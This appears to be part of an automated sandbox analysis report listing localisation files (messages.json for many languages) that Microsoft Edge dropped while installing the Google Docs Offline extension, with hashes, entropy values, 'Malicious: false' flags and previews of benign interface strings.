Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8836_374404407\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
